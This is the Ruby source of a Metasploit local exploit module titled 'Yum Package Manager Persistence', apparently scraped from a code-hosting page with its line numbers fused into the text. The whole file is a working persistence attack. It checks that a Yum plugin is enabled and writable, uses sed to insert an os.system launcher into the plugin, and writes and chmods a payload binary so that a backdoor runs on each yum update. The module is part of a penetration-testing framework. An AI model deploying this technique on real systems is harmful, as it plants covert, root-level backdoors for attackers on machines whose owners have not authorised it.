Path: blob/master/modules/exploits/linux/persistence/yum_package_manager.rb
23592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Exploit::EXE9include Msf::Exploit::FileDropper10include Msf::Post::File11include Msf::Post::Linux::System12include Msf::Exploit::Local::Persistence13prepend Msf::Exploit::Remote::AutoCheck14include Msf::Exploit::Deprecated15moved_from 'exploits/linux/local/yum_package_manager_persistence'1617def initialize(info = {})18super(19update_info(20info,21'Name' => 'Yum Package Manager Persistence',22'Description' => %q{23This module will run a payload when the package manager is used.24This module modifies a yum plugin to launch a binary of choice.25grep -F 'enabled=1' /etc/yum/pluginconf.d/26will show what plugins are currently enabled on the system.27root persmissions are likely required.28Verified on Centos 7.129},30'License' => MSF_LICENSE,31'Author' => ['Aaron Ringo'],32'Platform' => ['linux', 'unix'],33'Arch' => [34ARCH_CMD,35ARCH_X86,36ARCH_X64,37ARCH_ARMLE,38ARCH_AARCH64,39ARCH_PPC,40ARCH_MIPSLE,41ARCH_MIPSBE42],43'SessionTypes' => ['shell', 'meterpreter'],44'DisclosureDate' => '2003-12-17', # Date published, Robert G. Browns documentation on Yum45'References' => ['URL', 'https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/deployment_guide/sec-yum_plugins'],46'Targets' => [['Automatic', {}]],47'DefaultTarget' => 0,48'Privileged' => true,49'Notes' => {50'Stability' => [CRASH_SAFE],51'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],52'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]53}54)55)5657register_options(58[59# /usr/lib/yum-plugins/fastestmirror.py is a default enabled plugin in centos60OptString.new('PLUGIN', [true, 'Yum Plugin to target', 'fastestmirror.py']),61OptString.new('PAYLOAD_NAME', [false, 'Name of binary to write'])62]63)6465register_advanced_options(66[67OptString.new('WritableDir', [true, 'A directory where we can write files', '/usr/local/bin/']),68OptString.new('PluginPath', [true, 'Plugin Path to use', '/usr/lib/yum-plugins/'])69]70)71end7273def check74return CheckCode::Safe("#{datastore['WritableDir']} does not exist") unless exists? datastore['WritableDir']75return CheckCode::Safe("#{datastore['WritableDir']} not writable") unless writable? datastore['WritableDir']7677# checks /usr/lib/yum-plugins/PLUGIN.py exists and is writeable78plugin = datastore['PLUGIN']79full_plugin_path = "#{datastore['PluginPath']}#{plugin}"80return CheckCode::Safe("#{full_plugin_path} does not exist") unless exists? full_plugin_path81return CheckCode::Safe("#{full_plugin_path} not writable") unless writable? full_plugin_path82return CheckCode::Safe('yum not found on system') unless command_exists? 'yum'83return CheckCode::Safe('sed not found on system, required for exploitation') unless command_exists? 'sed'8485# /etc/yum.conf must contain plugins=1 for plugins to run at all86plugins_enabled = cmd_exec "grep -F 'plugins=1' /etc/yum.conf"87return CheckCode::Safe('Plugins are not set to be enabled in /etc/yum.conf') unless plugins_enabled.include? 'plugins=1'8889vprint_good('Plugins are enabled!')9091# /etc/yum/pluginconf.d/PLUGIN.conf must contain enabled=192plugin_conf = "/etc/yum/pluginconf.d/#{plugin.sub('.py', '')}.conf"93plugin_enabled = cmd_exec "grep -F 'enabled=1' #{plugin_conf}"94unless plugin_enabled.include? 'enabled=1'95return CheckCode::Safe("#{plugin_conf} plugin is not configured to run")96end9798# check that the plugin contains an import os, to backdoor99import_os_check = cmd_exec "grep -F 'import os' #{full_plugin_path}"100unless import_os_check.include? 'import os'101return CheckCode::Safe("#{full_plugin_path} does not import os, which is odd")102end103104CheckCode::Detected('yum installed and plugin found, enabled, and backdoorable')105end106107def install_persistence108plugin = datastore['PLUGIN']109full_plugin_path = "#{datastore['PluginPath']}/#{plugin}"110111# plugins are made in python and generate pycs on successful execution112print_warning('Either Yum has never been executed, or the selected plugin has not run') unless exist? "#{full_plugin_path}c"113114# check for write in backdoor path and set/generate backdoor name115payload_path = datastore['WritableDir']116payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"117payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)118payload_path << payload_name119120# check for sed binary and then append launcher to plugin underneath121print_status('Attempting to modify plugin')122launcher = "os.system('setsid #{payload_path} 2>/dev/null \\& ')"123sed_path = cmd_exec 'command -v sed'124unless sed_path.include?('sed')125fail_with Failure::NotVulnerable, 'Module uses sed to modify plugin, sed was not found'126end127sed_line = "#{sed_path} -ie \"/import os/ a #{launcher}\" #{full_plugin_path}"128cmd_exec sed_line129130# actually write users payload to be executed then check for write131if payload.arch.first == 'cmd'132write_file(payload_path, payload.encoded)133else134write_file(payload_path, generate_payload_exe)135end136@clean_up_rc << "rm #{payload_path}\n"137@clean_up_rc << "execute -f #{sed_path} -a \"-i /os\.system.*#{payload_name}/d #{full_plugin_path}\""138unless exist? payload_path139fail_with Failure::Unknown, "Failed to write #{payload_path}"140end141142# change perms to reflect bins in /usr/local/bin/, give good feels143chmod(payload_path, 0o755)144print_status("Backdoor uploaded to #{payload_path}")145print_good('Backdoor will run on next Yum update')146end147end148149150